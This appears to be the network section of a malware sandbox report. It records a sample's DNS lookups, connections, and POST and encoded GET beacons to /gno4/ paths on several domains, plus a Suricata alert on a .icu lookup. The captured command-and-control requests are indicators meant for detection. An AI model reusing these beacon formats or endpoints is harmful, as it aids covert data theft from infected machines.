Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| www.pegasusmustang.icu | ||
| www.pawfectweddingday.com |
CNAME
pawfectweddingday.com
|
66.235.200.121 |
| www.birworld.com | 172.67.186.196 | |
| www.woodburybankruptcylawyer.com | 52.58.78.16 | |
| www.ilearn-online.net |
CNAME
fwd3.hosts.co.uk
|
85.233.160.22 |
| www.wholeitaly.com | 3.143.123.90 |
- TCP Requests
-
-
192.168.56.101:49212 104.21.36.66:80www.birworld.com
-
192.168.56.101:49213 104.21.36.66:80www.birworld.com
-
192.168.56.101:49204 13.59.53.244:80www.wholeitaly.com
-
192.168.56.101:49205 13.59.53.244:80www.wholeitaly.com
-
192.168.56.101:49210 52.58.78.16:80www.woodburybankruptcylawyer.com
-
192.168.56.101:49211 52.58.78.16:80www.woodburybankruptcylawyer.com
-
192.168.56.101:49208 66.235.200.121:80www.pawfectweddingday.com
-
192.168.56.101:49209 66.235.200.121:80www.pawfectweddingday.com
-
192.168.56.101:49206 85.233.160.22:80www.ilearn-online.net
-
192.168.56.101:49207 85.233.160.22:80www.ilearn-online.net
-
- UDP Requests
-
-
192.168.56.101:54056 164.124.101.2:53
-
192.168.56.101:55450 164.124.101.2:53
-
192.168.56.101:56977 164.124.101.2:53
-
192.168.56.101:59369 164.124.101.2:53
-
192.168.56.101:61479 164.124.101.2:53
-
192.168.56.101:62324 164.124.101.2:53
-
192.168.56.101:65329 164.124.101.2:53
-
192.168.56.101:137 192.168.56.255:137
-
192.168.56.101:138 192.168.56.255:138
-
192.168.56.101:49152 239.255.255.250:3702
-
192.168.56.101:62325 239.255.255.250:3702
-
192.168.56.101:62445 239.255.255.250:1900
-
192.168.56.101:62447 239.255.255.250:3702
-
192.168.56.101:62449 239.255.255.250:3702
-
52.231.114.183:123 192.168.56.101:123
-
POST
0
http://www.wholeitaly.com/gno4/
REQUEST
RESPONSE
BODY
POST /gno4/ HTTP/1.1
Host: www.wholeitaly.com
Connection: close
Content-Length: 284
Cache-Control: no-cache
Origin: http://www.wholeitaly.com
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.wholeitaly.com/gno4/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
GET
404
http://www.wholeitaly.com/gno4/?4hIPNx=E0wmqjZ/tSyoDlBP4LYhfYpkZeQjBGQBk3/BLkEL7fo+9SBw3/N4xVcwHlHHqW/od4t3AXIt&nfut_N=xPJx_6PP
REQUEST
RESPONSE
BODY
GET /gno4/?4hIPNx=E0wmqjZ/tSyoDlBP4LYhfYpkZeQjBGQBk3/BLkEL7fo+9SBw3/N4xVcwHlHHqW/od4t3AXIt&nfut_N=xPJx_6PP HTTP/1.1
Host: www.wholeitaly.com
Connection: close
HTTP/1.1 404 Not Found
Date: Tue, 20 Jul 2021 11:17:48 GMT
Content-Type: text/html
Content-Length: 153
Connection: close
Server: nginx/1.16.1
POST
200
http://www.ilearn-online.net/gno4/
REQUEST
RESPONSE
BODY
POST /gno4/ HTTP/1.1
Host: www.ilearn-online.net
Connection: close
Content-Length: 284
Cache-Control: no-cache
Origin: http://www.ilearn-online.net
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.ilearn-online.net/gno4/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
HTTP/1.0 200 OK
Date: Tue, 20 Jul 2021 11:17:59 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1
GET
200
http://www.ilearn-online.net/gno4/?4hIPNx=3B2cNDucHr8z5Q1kju7M0bYTMmXODI/oRPM2NCfflpIYpoZfCkz+7l9iNcaIcgUCcEMAmp3f&nfut_N=xPJx_6PP
REQUEST
RESPONSE
BODY
GET /gno4/?4hIPNx=3B2cNDucHr8z5Q1kju7M0bYTMmXODI/oRPM2NCfflpIYpoZfCkz+7l9iNcaIcgUCcEMAmp3f&nfut_N=xPJx_6PP HTTP/1.1
Host: www.ilearn-online.net
Connection: close
HTTP/1.1 200 OK
Date: Tue, 20 Jul 2021 11:17:59 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
POST
0
http://www.pawfectweddingday.com/gno4/
REQUEST
RESPONSE
BODY
POST /gno4/ HTTP/1.1
Host: www.pawfectweddingday.com
Connection: close
Content-Length: 284
Cache-Control: no-cache
Origin: http://www.pawfectweddingday.com
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.pawfectweddingday.com/gno4/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
GET
301
http://www.pawfectweddingday.com/gno4/?4hIPNx=q1DetQwdceRPWoytmhQ4nwfD+Z4EH5xXw2Ctr7u5RyW6HsSuiO9ckxpYxxO1za4hJkczZyUl&nfut_N=xPJx_6PP
REQUEST
RESPONSE
BODY
GET /gno4/?4hIPNx=q1DetQwdceRPWoytmhQ4nwfD+Z4EH5xXw2Ctr7u5RyW6HsSuiO9ckxpYxxO1za4hJkczZyUl&nfut_N=xPJx_6PP HTTP/1.1
Host: www.pawfectweddingday.com
Connection: close
HTTP/1.1 301 Moved Permanently
Date: Tue, 20 Jul 2021 11:18:05 GMT
Content-Length: 0
Connection: close
Location: https://www.pawfectweddingday.com/gno4/?4hIPNx=q1DetQwdceRPWoytmhQ4nwfD+Z4EH5xXw2Ctr7u5RyW6HsSuiO9ckxpYxxO1za4hJkczZyUl&nfut_N=xPJx_6PP
Server: cloudflare
CF-RAY: 671bc968e90e61a7-ICN
POST
410
http://www.woodburybankruptcylawyer.com/gno4/
REQUEST
RESPONSE
BODY
POST /gno4/ HTTP/1.1
Host: www.woodburybankruptcylawyer.com
Connection: close
Content-Length: 284
Cache-Control: no-cache
Origin: http://www.woodburybankruptcylawyer.com
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.woodburybankruptcylawyer.com/gno4/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
HTTP/1.1 410 Gone
Server: openresty
Date: Tue, 20 Jul 2021 11:16:26 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
GET
410
http://www.woodburybankruptcylawyer.com/gno4/?4hIPNx=IX00HVZE6wNbZHoXEB5NAw0ghhV/6sfnbQoOE50bd3DvkQc+f/6CS20MU3b9Ys97YVAzlRrq&nfut_N=xPJx_6PP
REQUEST
RESPONSE
BODY
GET /gno4/?4hIPNx=IX00HVZE6wNbZHoXEB5NAw0ghhV/6sfnbQoOE50bd3DvkQc+f/6CS20MU3b9Ys97YVAzlRrq&nfut_N=xPJx_6PP HTTP/1.1
Host: www.woodburybankruptcylawyer.com
Connection: close
HTTP/1.1 410 Gone
Server: openresty
Date: Tue, 20 Jul 2021 11:16:26 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
POST
0
http://www.birworld.com/gno4/
REQUEST
RESPONSE
BODY
POST /gno4/ HTTP/1.1
Host: www.birworld.com
Connection: close
Content-Length: 284
Cache-Control: no-cache
Origin: http://www.birworld.com
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.birworld.com/gno4/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
GET
404
http://www.birworld.com/gno4/?4hIPNx=7Bwa5rl2dbMxzce1f9bdhEV4tVywZ6cDJS3P1JuiERFNLVrtvFTVSz7FmGC37GENo4kdSeM/&nfut_N=xPJx_6PP
REQUEST
RESPONSE
BODY
GET /gno4/?4hIPNx=7Bwa5rl2dbMxzce1f9bdhEV4tVywZ6cDJS3P1JuiERFNLVrtvFTVSz7FmGC37GENo4kdSeM/&nfut_N=xPJx_6PP HTTP/1.1
Host: www.birworld.com
Connection: close
HTTP/1.1 404 Not Found
Date: Tue, 20 Jul 2021 11:18:17 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
last-modified: Tue, 25 Jun 2019 07:07:01 GMT
vary: Accept-Encoding
x-turbo-charged-by: LiteSpeed
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VGHKqyP3XvH25RsbHlCZpICGjnzar6Vw2YwyeBUl7pbppe36f8HSUlcz2RWaulqTBcaXGYn5nVnYmjxd%2Brixb8czo45kWGUUrRrZTKZruTk2a80l1emkWMhfUxTnK9ZiGr2i"}],"group":"cf-nel","max_age":604800}
NEL: {"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 671bc9b3ffd20d38-LAX
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| UDP 192.168.56.101:59369 -> 164.124.101.2:53 | 2026888 | ET INFO DNS Query for Suspicious .icu Domain | Potentially Bad Traffic |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts